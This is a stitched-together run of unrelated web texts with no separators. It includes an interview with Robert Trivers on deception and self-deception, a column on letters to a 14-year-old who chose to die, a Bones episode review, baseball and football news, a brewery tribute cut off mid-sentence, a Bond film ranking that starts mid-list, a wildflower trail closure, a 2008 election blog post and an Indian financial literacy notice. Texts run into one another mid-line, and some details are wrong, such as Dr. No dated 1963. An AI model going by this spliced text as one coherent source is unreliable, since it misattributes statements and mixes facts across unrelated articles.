After birth, the first clear signs of deception come about age 6 months, which is when the child fakes need when there appears to be no good reason. The child will scream and bawl, roll on the floor in apparent agony and yet stop within seconds after the audience leaves the room, only to resume within seconds when the audience is back. Later, the child will hide objects from the view of others and deny that it cares about a punishment when it clearly does. So-called ‘white lies’, of the sort “The meal you served was delicious” appear after age 5.
Cook: You write that more intelligent children tend to be more deceptive—can you explain this?
Trivers: The experiment was simplicity itself. A child is asked to sit facing away from a box. The experimenter puts something in the box and says “Do not peek, do not peek” and then leaves the room. Most children peek. The experimenter returns and asks, “Did you peek?” Most children lie—but they do so the more frequently the brighter they are, as judged by a simple cognitive test. If your child is especially bright, he or she lies 100 percent of the time, slow 65 percent of the time. The same thing is true for health at birth. The healthier you are the more apt you are to lie 4 years later.
Cook: How did you become interested in self-deception?
Trivers: I think I was actually interested in the topic in my childhood but in my early ‘20’s I became interested in it in a scientific way. I was studying to become a biologist; a very good friend, to be a psychoanalyst. I was reading Darwin, he was reading Freud. All the time, he was talking about denial, repression, splitting, reaction formation and ego-defense mechanisms. While some of it sounded loony, not all of it did. From everyday life, we know that denial is a powerful force. Why? How on earth could selection favor our wonderful organs of perception only to systematically distort the information to our conscious minds? Where was the pay-off in that? It seemed to challenge the Darwinian paradigm at its core.
Cook: Right, the advantages of deception seem quite obvious, but what advantage could there possibly be to self-deception—to lying to yourself.
Trivers: This is the key problem that captured me in the 1970’s. I realized that if self-deception made it easier to deceive others, then it could confer an advantage. After all, deception only succeeds when undetected. Otherwise it may have most unfortunate consequences. So I imagined that self-deception easily evolved in the service of deceit—all kinds of improbably organized information to the conscious mind in order the better to fool others.
Cook: And how did self-deception play a role in one of the plane accidents you discuss, the crash of the Air Florida flight outside Washington, DC?
Trivers: In the Air Florida flight, the group size was only two. The pilot repeatedly practiced self-deception, minimizing the danger ahead of time and rationalizing danger warnings during take-off which the co-pilot was pointing out. The latter did not practice self-deception but was weak in the face of the pilot's.
It is a little known but striking fact that 80 percent of all crashes takes place when the pilot is flying, even though statistically he flies about 50 percent of the time. Considerable research suggests that it is the co-pilot's unwillingness of assert himself in the face of pilot error that is at the heart of this fact. Indeed, the worst configuration is to have pilot flying with a co-pilot flying with him for the first time.
Cook: What role does self-deception play in history?
Trivers: History or the writing of history? Obviously, both. It has been said that the victors write the history -- and a thoroughly biased one at that. False historical narratives are false history with a personal bias, excusing past mis-behavior, any need for reparations or, indeed, necessity for changed behavior.
In history the effects of self-deception loom large although giving a coherent account of the many ways would be quite an undertaking. Certainly we know for war that self-deception makes an undue contribution, especially to catastrophic ones, such as the 2003 U.S. war on Iraq. Overconfidence, based partly on underestimating one’s adversary, are common features but in the case of Iraq, deceit and self-deception was also entrained by the need to sell a lousy product for home consumption, so no rational preparation was made for day 2 in Baghdad because such planning drew attention to the costs and uncertainties of the war, which the planners wished to minimize.
Cook: Are there situations where self-deception is positive?
Trivers: It depends on what you mean by positive and to whom. Obviously self-deception had to have been positive for people some of the time in the past for it to have been favored by natural selection (where positive means an increase in personal survival or genetic reproduction). But I believe this positive effect is due to greater deception of others, so from their vantage point self-deception is not positive and at a group level it may, in sum, be negative. In marriages, those that remember continuous improvement, although none in fact occurred, are more likely to report that they are happily married and more likely to stay married, but cause and effect are uncertain.
Cook: If in a Darwinian sense, self-deception is good for us. Why should we even try to fight the impulse? And can we?
Trivers: I personally believe in fighting it because I am against deception. I would rather be honest, or at least try to be. Self-deception only compounds the felony, now lying to two individuals instead of one, and also risking putting one's life on a very shaky foundation, falsehoods constructed for the consumption of others.
Can we? Well, that’s another matter. I have certainly enjoyed only very limited success in curbing my own self-deception. Rich insight after the fact but very little predictive and preventive improvement. That is perhaps a paradox or tragedy of self-deception: We see it in ourselves, and wish we could do better at suppressing it, but we cannot.
Are you a scientist who specializes in neuroscience, cognitive science, or psychology? And have you read a recent peer-reviewed paper that you would like to write about? Please send suggestions to Mind Matters editor Gareth Cook, a Pulitzer prize-winning journalist at the Boston Globe. He can be reached at garethideas AT gmail.com or Twitter @garethideas.Jerika's story has moved the world.
In the days since USA Today published our first piece about the 14-year-old Appleton teen who is choosing to die, emails have flooded into our newsroom from across the United States, Canada, Australia, the Bahamas, Barbados, Dubai, England, France, Ireland, New Zealand, the Philippines, South Africa and from anonymous writers in other faraway corners.
I went through all 1,500 letters to compile them for Jerika and Jen Bolen. Yes, I cried. A lot.
The overarching message was always the same: "I love you."
Jerika Bolen (USA Today photo)
Related: Appleton teen makes heartbreaking decision to die
Related: Lessons plentiful as teen prepares to die
Writers complimented Jerika's courage and wished her the best time at Friday's prom. They included prayers and tons of colorful emojis.
And they shared deeply personal stories. They told her about the chronic pain they live with daily and said that reading her story renewed their will to stay alive.
"Jerika, you have already moved me, and I think that your story is moving thousands and maybe millions around the world."
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"Jerika, your story has made me a better person."
"Jerika, I believe you have succeeded in your journey to show everyone the true purpose of life."
"Jerika, your story is an inspiration to those of us who may have forgotten how important truly living every day with joy and peace is."
They said they'd look for her among the stars. They asked her to kiss their children who had already made it to heaven.
They told her they'd think about her in this life and be on the lookout for her purple hair when they, too, cross to the other side.
"Enjoy every remaining second of your precious life, baby girl," they said.
Thanks to Jerika, the rest of us can vow to do a better job of that, too.
ABOUT JERIKA
Jerika Bolen, a 14-year-old Appleton girl, has made the decision to end her life at the end of the summer. She has Spinal Muscular Atrophy Type 2, an incurable genetic disease, and plans to go without a ventilator on her own terms.
A PROM FOR JERIKA
What: Jerika Bolen asked to have a prom as her final wish, and the public is invited to join the party. Guests are asked to wear their “fancy” attire to the event, which will include a DJ, cake and hors d'oeuvres.
Funding: The Bolens established a GoFundMe page to raise money for the prom and Jerika’s upcoming medical expenses.The Jeffersonian team gets a call about a body in park lands in western Virginia. When it arrives, the body still has cowboy boots on. Based on the nuchal crest and supraorbital margin, Daisy Wick thinks the victim was male. Significant texturing on the sternal rib end means he was in his mid-30s. Hodgins estimates time of death as 26 days ago, and Saroyan can tell from his lung tissue that he was a smoker. Cause of death is multiple gunshot wounds to the torso, but they're different than normal -- they have black powder in them, as if from an antique gun.
Antemortem fractures on the mandible suggest the victim was injured 5 years ago by shotgun blow-back, and pronounced muscle attachments in his first proximal and distal phalanges, along with signs of osteoarthritis in the right shoulder, are indicative of trigger finger. Hairs on his clothing are from a horse, and soil samples from his shoes show his body was dumped in the park. Angela's facial reconstruction gets a hit - Stanley Belridge, a 34-year-old accountant reported missing by his supervisor a couple weeks prior.
Read More: This One Bone Is the Only Skeletal Evidence for Crucifixion in the Ancient World
With all that out of the way in the first few minutes, Booth and Brennan are free to go undercover at the Frontier Games, a Wild West-type shooting competition run once a month by Francine and Luke Nichols. Stanley had just won the $10,000 prize, so a motive is suspected. Booth throws his first attempt, getting just two out of five shots, but Brennan gets all five and courts the attention of the fake-sheriff, that dude from Weeds. They find out that one of the participants recently paid off $6,000 in child support and that a gunshot to Stanley's pelvis had painted plywood and bearberry in it. However, the prize money is not likely the motive for Stanley's murder because they found the check still in his bag, along with books about starting his own frontier games type business.
Booth and Brennan find the murder site at the Frontier Games location, near a shed made out of plywood. They think that Francine is following them, and that she was upset that Stanley was going to start his own location. Daisy finds perimortem trauma to Stanley's mandible, suggesting he was punched. Frannie has also been giving Beau money to pay his child support. Stanley was upset about a work issue, Frannie and Luke thought, right before he died, apparently shot by his own gun, a Civil War era Spencer carbine. Hodgins also found traces of turpentine on Stanley's jaw, the kind used to repair cracked horse hooves and for painting.
Read More: No, the Siberian Ice Maiden Is Not a Man
Aubrey questions Stanley's supervisor, who admits that he was making Stanley do his work for him. The most recent client, Clementine Construction, was apparently a front. Luke was embezzling money from Frontier Games and wasn't telling his wife, Francine. Stanley found out about it and was threatening to tell Francine. Luke admits that he was embezzling and that he punched Stanley, but didn't kill him. Daisy meanwhile maps all the microfractures to Stanley's endocranium with Angela's help -- they find that his head was struck by a heavy object 2,047 times. Brennan realizes that these were post-mortem, and that Stanley's body was slung over a horse and tied there, with the stirrups hitting his head repeatedly. Blood on Frannie's saddle seems to suggest her, but a recent hip injury precludes her from having done it. Booth then figures out that Sadie did it -- she was having an affair with Luke, and she didn't want Stanley to tell Frannie about the embezzling. If he did, she'd lose her lover and her horse.
Anthropological Comments
There was very little forensic work in this episode, as it was mostly focused on the undercover aspect.
The nuchal crest and supraorbital margin are fine for sex, and sternal ribs are fine for age. Since the pelvis is there, though, they should avail themselves of the best method.
As usual, facial reconstruction ID's the victim (this time totally off-camera), which is not in line with modern forensics.
I seriously doubt this guy would have musculoskeletal stress markers from trigger finger, but if he was supposedly the best, I guess he was practicing in every spare moment?
Stray Comments
If you're running a fake business, why get an accountant firm?
Not sure I got why Frannie was giving Beau thousands of dollars for child support.
Rating
As one of the undercover episodes, this was entertaining. But forensically, it was rather boring. I give The Cowboy in the Contest a plain ol' C.
Read More Bones Reviews:The Dodgers have agreed to sign Cuban outfielder Yusniel Diaz to a $15.5MM deal, according to Jesse Sanchez of MLB.com. Furthermore, the Dodgers and Omar Estevez have agreed to a pact that will pay the infielder $6MM. When considering the 100 percent luxury tax the Dodgers will have to pay on each player due to the fact that they’ve already shattered their league-allotted international bonus pool, Los Angeles will be paying a combined $43MM or so to add the pair of prospects to its ranks.
Even though he’s only 18, Diaz has been known in Cuban baseball circles for years thanks to his offensive prowess while playing center field in Cuba, Ben Badler of Baseball America (subscription required and recommended) wrote earlier this year. In fact, as a 14-year-old in Cuba’s 16-and-under league, Diaz garnered the attention of scouts when he slashed.367/.519/.517 across 80 plate appearances. In his writeup, Badler praised Diaz for his athleticism, speed, and his production in Serie Nacional, where he faced competition at his own age level as well as veteran talents. Despite having seen time in the corner outfield in the past, Diaz’s best position is center field and that’s where Badler sees him playing at the major league level.
Diaz likely would have been chosen as Serie Nacional’s Rookie of the Year in 2015 but that award went to another player after he defected from Cuba in April. In August, Major League Baseball issued a memo to all teams announcing that Diaz was free to sign. Badler ID’d the Dodgers as one of the logical destinations for Diaz at the time since they were one of the clubs that were already over their 2015-16 bonus pools and facing spending restrictions starting on July 2 next year. The Dodgers will be handcuffed from spending more than $300K on any international player during the next two periods, so they essentially decided to go out with a bang before entering their penalty period.
Estevez, meanwhile, “showed above-average power in games and solid raw power in batting practice,” Sanchez writes. While he doesn’t have the strongest arm out there, he does have good instincts for the second base position. The Dodgers’ international haul for the 2015-16 period has been rather expensive between Diaz, Estevez, Cuban right-handed pitcher Yadiel Alvarez ($16MM), outfielder Starling Heredia ($2.6MM), infielder Ronny Brito ($2MM), outfielders Christopher Arias ($500K) and Carlos Rincon ($350K), and shortstop Oneal Cruz ($950K). That grouping along cost more than $87MM when factoring in luxury tax expenditures, although by Sanchez’s count, the Dodgers have signed 28 international prospects since the signing period began on July 2.Stone Brewing Co. pays tribute to one of their own with this forthcoming release. Earlier this year, tragedy struck the brewery with the loss of Matt Courtright.
Matt’s Burning Rosid’s is a cherrywood smoked saison, his own recipe he developed with friend Brian Bishop. Stone will be donating funds from the sales of Rosid’s to GoDesignInc.org, an architectural charity that Matt passionately believed in.
Life is extraordinarily precious. joyous _and fragile. At Stone. we recently were reminded of this when we lost our dear friend and coworker, Matt Courtright. We felt that there was no better way to share with the world what an extraordinary person he was than by brewing this beer he created. Rather than a somber memento, please think of this as a celebration of Matt. We do. We can’t contemplate it arty other way. Matt was by no means a shrinking violet. Quite the contrary. He was exuberant. courageous, outwardly positive and the type of stalwart friend everybody who knew him was happy to have in their corner. Matt’s smile and voluminous laugh were infectious mainstays around the brewery. He was larger than life in everyday and |
Die Another Day (2002) Probably the low point of the entire franchise. The action is tired and the movie feels interminable. The film starts off with Bond surfing with special forces off the North Korean coastline and only gets more outlandish from there. All you need to know is the plot involves diamonds, genetic engineering, a super-laser, and a weaponized satellite, which would seem overtly familiar to anyone who's seen almost any Bond movie. The opening song by Madonna is worse than the act of shoving gravel in your ear canals. Bond would live to see another day, but this installment almost killed the whole franchise.
Quantum of Solace (2008) Much as Thunderball flailed in the wake of following Goldfinger, so too does this lackluster, by-the-numbers revenge fantasy that succeeded Casino Royale. It's pretty dreary as Bond flicks go, picking up right after the devastating finale of the previous film, and director Marc Forster, though plenty experienced, gives us a Bond that's all heat and no heart. Craig is pissed off as all hell from the get-go, but there needed to be some counteracting force. Revenge Bond has never worked well as it should in theory, and this movie (the shortest of the franchise, at 1 hour, 46 minutes) repeats that same mistake, but at least it's over quick.
Movies You Can't Skip:
Dr. No (1963) From this one, all other Bond movies flow. 007 needed a banger of an introduction to have any long life beyond this one and Connery delivered right out of the chute. The script revolves around a mysterious Chinese entrepreneur/recluse in the Caribbean who is plotting to take out the American space program. So much of the Bond mythos is established in this film—the attitude, the evil villain archetype, Monty Norman's iconic theme, and so forth—and yet it's astounding how well this film holds up more than five decades later. There are Bond installments in the '70s and '80s that feel immensely more dated than this one. Maybe it's about sticking to the basics. As Bond quips to Dr. No: "World domination, that same old dream."
From Russia With Love (1963) Arguably the sexiest Bond movie of all time. Released the same year as Dr. No, this film introduced Q (Desmond Llewelyn) and viewers got their first glimpse of a faceless Blofeld. Connery and Daniela Bianchi have steaming-hot chemistry throughout the film; though Bond would go to have many (many) more love interests, this may have been the most compatible pairing of them all. But ultimately it's Robert Shaw, playing a laconic assassin tailing Bond across Europe, who steals the show. The Bond franchise was a solid 2-for-2 out of the gate—and about to make it a trifecta.
Goldfinger (1964) Arguably the best Bond movie of all time. From Shirley Bassey's unforgettable and iconic power ballad during the opening credits to Auric Goldfinger's plan to irradiate America's gold reserve at Ft. Knox, Goldfinger is a testament to the power of strong dialogue, perfect casting (Honor Blackman as Pussy Galore is an all-time great Bond character), and creative plot twists. Eminently rewatchable by any standard, the film has an intrinsic wit that showed saving the world every time out needn't mean you lose your sense of humor. It also contains perhaps the most famous scene in Bond history (more on that later).
You Only Live Twice (1967) Connery's final film for his first go-around as Bond (before not one but two comebacks) and it's a satisfying movie with some risky subject matter, thanks to a screenplay written by none other than Roald Dahl (Charlie and the Chocolate Factory). Spectre and Blofeld are back, stealing American and Russian spaceships with the help of a Japanese chemical corporation. For this, Bond goes undercover in Japan, trains to be a ninja, and gets married. The gadgets are more outlandish and the set pieces—one where Bond takes out four helicopters while piloting a one-man flier particularly stands out—clearly have the highest production values thus far. And we finally see Blofeld's face!
On Her Majesty's Secret Service (1969) A misunderstood masterpiece in the Bond universe. George Lazenby, a relatively unknown 29-year-old former Australian model with almost no previous acting experience, was brought in to replace Connery after the fifth Bond film (You Only Live Twice). Immediate public reaction was not on Lazenby's side, but history has been quite kind to his lone performance as 007, and it's now recognized as one of the richest and most well-told stories of the entire run. Lazenby is a funny, smooth, and confident Bond in all ways, and the last 10 minutes is an emotional trampoline few other Bond films could equal. Featuring the greatest bobsled fight ever put to film, this movie (and Lazenby) deserved better praise in its own day.
The Man With the Golden Gun (1974) Moore finally finds his sea legs in his second stint, exuding a confidence and gravitas mixed with the right amount of wit and humor. The film, Guy Hamilton's fourth and final as Bond director, doesn't take itself too seriously—the somewhat goofy final battle notwithstanding—and the plot surrounding solar cells and high-powered lasers has the right amount of Bond movie DNA and fresh narrative. Christopher Lee as psychotic hitman Francisco Scaramanga is one of the most terrifying, realistic, and perhaps still underappreciated Bond villains, but horror fans will still find that smile and voice all too familiar.
The Spy Who Loved Me (1977) Moore and Barbara Bach (as a Russian agent) are a delightful combo, even if they don't exactly have the sexual chemistry that the film's title innately promises. This entry does boast perhaps the most delightfully over-the-top villain's lair, thanks to Karl Stromberg's spider-shaped, sea-based compound. But the interplay between American and Russian operatives is what drives the plot, which involves two missing nuclear subs. Marvin Hamlisch stepped in for John Barry and earned two Oscar noms, for score (the first Bond film ever to do so) and song (Carly Simon's "Nobody Does It Better," a valid choice for best opening track in Bond film history).
For Your Eyes Only (1981) A more understated and sober effort—the very first image is of Bond's dead wife's gravestone—but still a very enjoyable film, maybe even because it doesn't adhere to the typical Bond formula. After a campy opening set piece where 007 dispatches of a faceless, wheelchair-bound Blofeld in a most efficient manner, Bond sets his sights on recovering an encryption device stolen from a British sub. The underwater scenes are everything Thunderball should've had, and Bill Conti's score, which helped snag an Oscar nom for Best Original Song (sung by Sheena Easton), is dramatic and brooding, itself a departure from John Barry's lush themes in past efforts. This was John Glen's directorial debut—he would also direct the next four Bond films—and while later entries would stumble, this was a solid result for a newbie.
Never Say Never Again (1983) Fresh off of a little arthouse gem called The Empire Strikes Back, Irvin Kershner next slid into the director's chair for this somewhat controversial film that also features Sean Connery's one-off return as Bond, 12 years after the underwhelming Diamonds are Forever. Also somewhat odd is that the film, the result of a years-long court battle won by writer/producer Kevin McClory, is essentially a remake of Thunderball, which starred Connery 18 years earlier, but here we find an older, more contemplative Bond who's grappling with the idea of his impending mortality. Considered non-canonical within the Bond universe—Octopussy, starring Roger Moore, actually hit theaters that same year, just four months earlier—Kershner nonetheless delivers a worthy product that also introduced the world to a young Kim Basinger.
The Living Daylights (1987) Timothy Dalton was not the worst Bond because he was bad. Dalton just wasn't as good as the others (if that makes any sense). But if you're going to see either of his contributions, make it this one, which finds 007 teaming up with a secretive cellist (Maryam D'Abo) to foil a secret arms deal that ties into the Afghan-Soviet War. The script is a little mushy and lousy character accents abound, Dalton's arrival gives an undeniable energy to the film's pacing (he was only 41 when he took over) and may have refreshed composer John Barry, whose 11th and final Bond score is a far more creative composition compared to A View to a Kill. Oh, and Bond is driving an Aston Martin again for the first time in nearly 20 years, so there's that.
GoldenEye (1995) "I think you're a sexist misogynist dinosaur—a relic of the Cold War." And with those words from M (Judi Dench), the first act of GoldenEye concludes and we are well underway in the Pierce Brosnan-as-Bond era. Not only that but director Martin Campbell (who would later direct Casino Royale) is addressing all the criticisms head-on, that Bond couldn't possibly have relevance in a post–Cold War world. Thus, the onus is on Brosnan and the plot, which centers on a weaponized satellite and an ex-00 operative out for revenge, to sell us on Bond and his place in this new reality. GoldenEye, above all, is fun and cool, and Brosnan has the debonair presence of a young Connery. (But perhaps its greatest legacy is spawning the single-greatest FPS any videogame-addicted college student ever binged on for, uh, days at a time.)
Tomorrow Never Dies (1997) The high-point of the Brosnan years, though it's a close call after its predecessor. Everything in this film feels like it's excelling effortlessly. Bond's target is a Rupert Murdoch/Bill Gates-type hybrid who's determined to start a world war in the name of revenue and ratings. The movie's sensibility is very much rooted in the mid-'90s obsession with new media, but it doesn't feel dated in that Reality Bites kind of way. The score by David Arnold is robust, original, and a welcome departure from Eric Serra's electronic GoldenEye gobbledygook, and any movie where Ricky Jay is central to the plot is welcome in my world. But when Elliot Carver, the evil media mogul at the center of everything, says to his underlings, "There's no news like bad news," his words, even nearly 20 years later, feel downright prescient.
Casino Royale (2006) Almost anything would've seemed competent and worthwhile after Die Another Debacle, but Daniel Craig's take on Bond is gritty, suave, cerebral, commanding but with fewer words, and damn near-perfect. Whereas the later Brosnan era became bombastic and cheesy, Craig and director Martin Campbell (who helmed GoldenEye) bring the whole enterprise back to basics, as Mads Mikkelsen plays a criminal banker terrorist with a keen eye for detail. Co-star Eva Green has real acting chops that are full display and rounds the narrative arc's rougher edges. Even composer David Arnold (much like John Barry with The Living Daylights) sounds reinvigorated by a new 007. This movie was well-received at the time it premiered and became the highest-grossing Bond flick ever, but its cachet has only increased over time since Mikkelsen became the scene-chewing star of Hannibal. At least here he keeps his appetite in check.
Skyfall (2012) I'm gonna say it: a top-three Bond movie. Oscar-winning director Sam Mendes (American Beauty) takes the reins and brings along frequent collaborators like composer Thomas Newman and director of photography Roger Deakins (No Country for Old Men), who produces the best-looking Bond movie ever filmed. Craig shows no signs of slowing and the script from John Logan (Gladiator) is taut, gripping, and skillfully paced. With M (Judi Dench, in her final appearance) square in the action as she fends off a hacker-terrorist (Javier Bardem) out for payback, Bond has rarely been better, full of pathos and determination as he fights his way back from the brink of death in search of personal and professional meaning. With Adele nabbing the series' first-ever Oscar for Best Original Song, the entire franchise hit a creative and critical high-point—putting all the more pressure on Spectre to deliver the goods.
Why You Should Binge:
Secret agents are the coolest people on the planet—getting to do things and go places us mere mortals could only dream—and Bond is the best of the bunch. When you consume the films in large doses, one after another, you see how that coolness has evolved over time. The debonair government man of the '60s becomes the anti-authority rebel of the '70s becomes the tech-obsessed whiz kid of the '80s and '90s. In recent years, the franchise has come back to earth for a needed reset and imbued the series with humanity. Bond has always been a symbol of something bigger than what regular people can experience; he is, at his best, escapism made real. We needed that from our movies as much in 1963 as we do in 2015. And there are few cinematic characters who pull it off better than James Bond.
Best Scene: Goldfinger set the bar impossibly high for future films, with dialogue and production values and plot. But when Auric Goldfinger straps Bond to the lab table and starts inching a laser toward his lower regions, the scene is not only dramatic but humorous and even introspective. Bond: "Do you expect me to talk?" Goldfinger: "No, Mr. Bond, I expect you to die." It's maybe the most beloved line of dialogue in Bond movie history, if only because we know of all the possible outcomes, that ain't going to be it.
The Takeaway:
Bond drives the cars we wish we could, saves the day when other can't, and never stops coming back for more.
If You Liked James Bond, You'll Love:
The Bond flicks have inspired countless secret agent-centric imitators, both those rooted in homage (The Bourne Identity, 24) and parody (Austin Powers). While worthy of your time, do also search out the ones that are rooted in admiration more than ridicule and repetition. To me, that could only be "You Only Move Twice" from the eighth season of The Simpsons. Albert Brooks as Hank Scorpio is the best Bond villain outside of any Bond movie—self-obsessed, witty, and utterly consumed with world domination. His lair is (obviously) modeled after Blofeld's in You Only Live Twice, so you know he has good taste. Plus he loves good hammocks and German beer, so how bad could he really be?
https://www.youtube.com/watch?v=9QEsjd1WZuY'Super bloom' wildflower trail closed indefinitely after photo-seeking visitors trample flowers
People photograph California poppies after prolonged record drought gave way to heavy winter rains, causing one of the biggest wildflower blooms in years on March 16, 2017 at Diamond Valley Lake, near Hemet, California. less People photograph California poppies after prolonged record drought gave way to heavy winter rains, causing one of the biggest wildflower blooms in years on March 16, 2017 at Diamond Valley Lake, near Hemet,... more Photo: David McNew, Getty Images Photo: David McNew, Getty Images Image 1 of / 28 Caption Close 'Super bloom' wildflower trail closed indefinitely after photo-seeking visitors trample flowers 1 / 28 Back to Gallery
Unprecedented crowds eager to snap photos of the California super bloom have damaged a wildflower trail so badly that it is now closed indefinitely.
The Wildflower Trail at Diamond Valley Lake in Riverside County is currently shuttered after patches of the stunning wildflowers were trampled into oblivion.
The Metropolitan Water District, which maintains the area, told KPCC that the primary problem is that people are walking off-trail to take photos among the wildflowers. Environmental specialists brought in to assess the damage noted bare patches and flattened flowers.
Overly enthusiastic visitors trample wildflowers in attempt to snap photos, leading to trail closure https://t.co/1FXfeImvdd pic.twitter.com/CboZrtUTwp — 89.3 KPCC (@KPCC) April 4, 2017
"It's upsetting to see the destruction," MWD environmental specialist Alex Marks told KPCC. "'Cause you can stand back and you can see the beauty of it without getting so close and trampling everything."
MORE: Where to see the best of California's spring super bloom
Thanks to a rainy winter and spring, California — and Southern California in particular — is experiencing a wildflower "super bloom." According to one professor of geography, this spring's super bloom is the best since the "once in a lifetime" flowering of 2005.
Desert asters, desert dandelions, Parishes poppies, sand verbena, phacelia and lupine are expected to reach peak bloom in April, depending on the park.
Diamond Valley Lake is adding signs that caution people to stay on clearly designated trails and may plant native wildflowers in spots damaged by visitors. Staff will also be added to monitor crowds and keep visitors and wildlife safe.David Bernstein, the Football Association chairman, is facing increasing pressure from inside the organisation to remove the England captaincy from John Terry after a day of high-level talks behind the scenes to ascertain whether he should overrule the manager, Fabio Capello.
Bernstein contacted every member of the 12-strong FA board to ask for their individual views on the day that Rio Ferdinand described himself as "insulted" with a "bad taste in my mouth" and Emmanuel Frimpong, Arsenal's 20-year-old Ghanaian, became the first footballer to say the FA's handling of the case would put him off reporting racist abuse.
Ferdinand and Frimpong both used their Twitter accounts to express their anger on the day Bernstein established that at least one FA member wants Terry to lose the captaincy and that the decision should be taken immediately rather than putting it off until the next board meeting on 23 February.
One issue raised to Bernstein is that it would be difficult for the FA to take the moral high ground if any of England players are racially abused by the crowds at the European Championship in June. Other board members believe the FA is in a no-win situation and that, if it removes the captaincy from Terry, it will be accused of prejudging the case and ignoring the principle of innocent until proved guilty.
Capello has previously insisted that he should be the one making the decisions and there is a reluctance to go against the manager. However, a decision could conceivably be fast-tracked if Bernstein and his colleagues agree with Football Against Racism in Europe that Terry should not go to Euro 2012 as captain.
The talks took place on the day it emerged that QPR are unhappy that Terry's trial for allegedly racially abusing Anton Ferdinand during Chelsea's game at Loftus Road in October will not be heard until 9 July. One of Terry's black international team-mates, from another Premier League club, has also spoken to him about the alleged incident, it is claimed.
As for Rio Ferdinand, the five-month wait raises the possibility that he will be asked to partner Terry at the centre of England's defence shortly before a court case in which his younger brother is the alleged victim.
Ferdinand's place in Euro 2012 is not guaranteed because of his injury issues but, if selected, the Manchester United player will have to choose whether he wants to be involved. Ferdinand told his almost two million Twitter followers: "I feel insulted, woke up with a bad taste in my mouth, it's a goddamn joke!"
The 33-year-old, who could come face to face with Terry should the Chelsea defender shake off a knee injury in time, when United play at Stamford Bridge on Sunday, did not specify that he meant the trial delay but the clear insinuation was that he did and his representatives made no attempt during the day to deny it. Ferdinand may now have to decide whether to shake Terry's hand in the pre‑match lineup at Stamford Bridge.
Frimpong, currently on loan at Wolverhampton Wanderers, described the FA as "out of order" and wanted to know "if Anton Ferdinand was in the England team, and was being charged for racism, would the FA wait?" A later message read: "If I ever get racially abused, I wouldn't think of telling the FA. I would rather tell my mum."
Terry denies the charge and has made it clear he has no intention of relinquishing his captaincy despite Jason Roberts, the Reading striker and Kick It Out campaigner, predicting there will be a "toxic" atmosphere within the England squad if he goes to this summer's tournament, to be held in Poland and Ukraine from 8 June to 1 July.
The FA has still not said anything official about a controversy that led Clive Efford, Labour's shadow sports minister, to express his own unease.
"The current uncertainty while John Terry's case waits to be heard helps no one. It would be better for everybody, including John Terry, if the case was heard before Euro 2012 begins," the MP for Eltham said.
"If the FA and Capello feel that there is a danger that going into the championships with this matter unresolved could disrupt the England camp, they should take the best course of action for English football."Last week, AFT-COPE announced the launch of battleground ads, including in WV, but I had not heard one on my local radio until this morning. I like it — listen and see what you think.
Obama seems to be having a last-minute surge in the Mountain State. At least if my most recent conversations with undecided or "formerly leaning McCain but not any longer" folks are an indication.
But will Obama close the gap?
Obama had his best month in donations ever from WV last month. My unscientific "drive around town" viewing of increasingly more yard signs, bumper stickers, and homemade notes taped to people’s car windows indicates more public Obama support of late.
Most likely, it’s pull from the national trend toward Obama. Everyone likes a winner, and Obama sure seems like he’ll be one. Folks here are more comfortable with Obama and Biden after feeling ignored by the lack of primary campaigning here. Biden held a rally here last Friday which was enthusiastically attended. And early voting has been busy here (absent more machine vote flipping, anyway) for Dem GOTV efforts.
Moreover, folks are disgusted with McCain/Palin. Even NASCAR fans. Familiarity is breeding contempt.
The Washington Times, of all places, had an article recently interviewing folks in Barrackville, WV — a town I know too well from my prosecutor days. Here’s a sampling:
Seven October polls of West Virginia voters average out to a single-digit lead for Mr. McCain, with most showing the Republican in the lead, one showing the men tied and another putting the Democrat ahead. President Bush won the state by 13 percentage points in 2004…. Rose Munro, a single mother who frequently must choose between buying groceries and paying the electricity bill, at first didn’t want to hear any political talk…. But Miss Munro said, "The Republicans have done nothing. … If I had to choose, it would be Obama even though I’m not too thrilled with either one of their campaigns."
Ruth Marcus finds similar folks in Mingo and Jackson counties, all breaking down along economic and internet rumor-mongering ignorance lines mostly. The common thread among these articles and my conversations is scant enthusiasm for McCain, even among "supporters" it’s tepid. McCain fails to inspire, he offers continuity of failure at a time when people desperately want change.
No one wants to continue getting screwed. It’s that simple.
Can Obama close the deal here and elsewhere with blue collar voters? We’re about to find out, although as this WV public radio piece shows, it’s by no means a sure thing. Here in WV, I feel a squeaker coming on…in the meantime, let’s all get to work!Boston Red Sox catcher David Ross, a spot starter for Game 5 of the 2013 World Series, came through in the clutch with an RBI double in the seventh inning that later became the difference maker for the road team on Monday evening in St. Louis, MO.
Tied 1-1 in the top of the seventh, Boston jumped ahead by a run when Ross hit a ground rule double to left to score what would become his team’s game-winning run. He was thrown out at home two plays later after trying to tack on an insurance run for the Red Sox following a single to center by center fielder Jacoby Ellsbury.
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Ross has become left-handed pitcher Jon Lester’s personal catcher and led the hurler, from behind he plate, to a terrific performance on Monday (7.2 IP, 4 H, ER, 7 K).
He only spent one year as a member of the Florida Gators baseball team, joining the program as a junior transfer in 1998 after two seasons with Auburn.
Following the 1998 College World Series (the Gators were the No. 1 overall seed but lost in the first round), Ross decided to forgo his final year of eligibility. He was subsequently selected in the seventh round of the 1998 MLB Draft by the Los Angeles Dodgers.
Ross has played for seven different teams over his 12-year MLB career and is currently in his second stint with Boston (2008). A.237 hitter who has spent most of his career as a reserve, he played in his 13th postseason game on Monday, seven of which have come this season with the Red Sox.
After the 3-1 victory over the St. Louis Cardinals, Ross was interviewed on the field by FOX Sports reporter Erin Andrews, who was a sophomore at Florida in 1998.NEW DELHI: The Reserve Bank will soon launch a financial literacy drive in 80 blocks in nine states on pilot basis to educate people on e-transactions, formal sector borrowings and insurance purchases.
Six NGOs registered with the Depositor Education and Awareness Fund -- CRISIL Foundation, Dhan Foundation, Swadhaar Fin Access, Indian School of Micro Finance for Women (ISMW), Samarpit and the PACE Foundation -- have been selected to execute the pilot project in collaboration with banks.
"The Reserve Bank is initiating a pilot project on financial literacy at the block level to explore innovative and participatory approaches to financial literacy," RBI said while inviting expression of interest from agencies to conduct impact assessment of Pilot CFL (Centre for Financial Literacy) Project.
The pilot project, RBI document said will be commissioned in the 9 states of Maharashtra, Chhattisgarh, Bihar, Odisha, Karnataka, Telangana, Andhra Pradesh, Haryana and Uttar Pradesh across 80 blocks by the 6 NGOs in collaboration with the sponsor banks.
The total cost of the pilot project over a period of three years is Rs 18.40 crore.
The aim of the CFL is to inculcate the habit of making a household budget and recording financial transactions, encourage transactions in savings accounts, and active saving by depositing in banks through fixed deposits and recurring deposits.
Besides, the pilot project aims to ensure people borrow from formal finance institutions and approach banking Ombudsman for redressal of their grievances.
